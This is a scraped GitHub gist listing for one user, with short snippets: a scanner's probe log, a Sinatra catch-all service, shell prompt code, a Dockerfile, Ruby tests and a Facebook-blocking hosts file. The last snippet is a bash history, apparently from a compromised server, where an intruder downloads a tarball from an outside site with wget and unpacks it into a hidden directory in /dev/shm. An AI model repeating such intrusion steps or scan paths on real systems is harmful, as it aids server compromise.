Skip to content

Instantly share code, notes, and snippets.

View keeran's full-sized avatar
💭
bug fixes and performance improvements

Keeran Raj Hawoldar keeran

💭
bug fixes and performance improvements
View GitHub Profile
194.199.35.66 - - [12/Apr/2015:09:24:00 -0400] "GET /_ee/_fslib/swfupload/Changelog.txt HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:00 -0400] "GET /sqlite/main.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:00 -0400] "GET /auth/hybridauth/install.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:01 -0400] "GET /hybridauth/install.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:01 -0400] "GET /hybridauth/hybridauth/install.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:01 -0400] "GET /bigdump/bigdump.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:02 -0400] "GET /bigdump.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:02 -0400] "GET /dump/bigdump.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:02 -0400] "GET /admin/bigdump.php HTTP/1.0" 404 389 "-" "-"
194.199.35.66 - - [12/Apr/2015:09:24:02 -0400] "GET /admin/dump/bigdump.php HTTP/1.0" 404 389 "-" "-"
@keeran
keeran / app.rb
Created August 22, 2014 13:22
lazy catch all http service
require 'sinatra'
require 'pp'
before do
if request.request_method == 'OPTIONS'
response.headers["Access-Control-Allow-Origin"] = "*"
response.headers["Access-Control-Allow-Methods"] = "POST"
response.headers["Access-Control-Allow-Headers"] = "Origin, X-Requested-With, Content-Type, Accept"
halt 200
end
function parse_git_dirty {
[[ $(git status 2> /dev/null | tail -n1) != "nothing to commit, working directory clean" ]] && echo "*"
}
function parse_git_branch {
git branch --no-color 2> /dev/null | sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_dirty)]/"
}
export PS1="\[\033[0;33m\]\u@\h \w \[\033[0m\] \$(parse_git_branch) \n\[\033[0;33m\]>\[\033[0m\] "
FROM ubuntu:12.04
RUN apt-get update
RUN apt-get install -y --force-yes build-essential curl git
RUN apt-get install -y --force-yes zlib1g-dev libssl-dev libreadline-dev libyaml-dev libxml2-dev libxslt-dev
ADD http://cache.ruby-lang.org/pub/ruby/2.1/ruby-2.1.0.tar.gz /tmp/ruby-2.1.0.tar.gz
RUN cd /tmp; \
tar xzf ruby-2.1.0.tar.gz; \

Keybase proof

I hereby claim:

  • I am keeran on github.
  • I am keeran (https://keybase.io/keeran) on keybase.
  • I have a public key whose fingerprint is 54AA 570F 0263 840F FE46 34B0 3294 85D7 6FDE B7EC

To claim this, I am signing this object:

require 'benchmark'
def implicit_return
arr = (1..1000).to_a
arr.inject({}) do |mem, item|
mem[item.to_s] = item
mem
end
end
>> i = a.each
=> #<Enumerator: [1, 2, 3]:each>
>> loop do
?> puts i.next
>> end
1
2
3
=> nil
>> i = a.each
# Block Facebook
127.0.0.1 www.facebook.com
127.0.0.1 facebook.com
127.0.0.1 static.ak.fbcdn.net
127.0.0.1 www.static.ak.fbcdn.net
127.0.0.1 login.facebook.com
127.0.0.1 www.login.facebook.com
127.0.0.1 fbcdn.net
127.0.0.1 www.fbcdn.net
127.0.0.1 fbcdn.com
ruby-1.9.2-p136 :001 > (1..5).each {|n| puts n; break}
1
=> nil
ruby-1.9.2-p136 :002 >
keeran@localhost:/home/deploy$ sudo cat .bash_history
passwd
cat /etc/issue
cd /dev/shm
ls
ls -la
wget rocsana4u.webs.com/joke/s.tgz
tar xvf s.tgz
rm -rf s.tgz
cd .joke/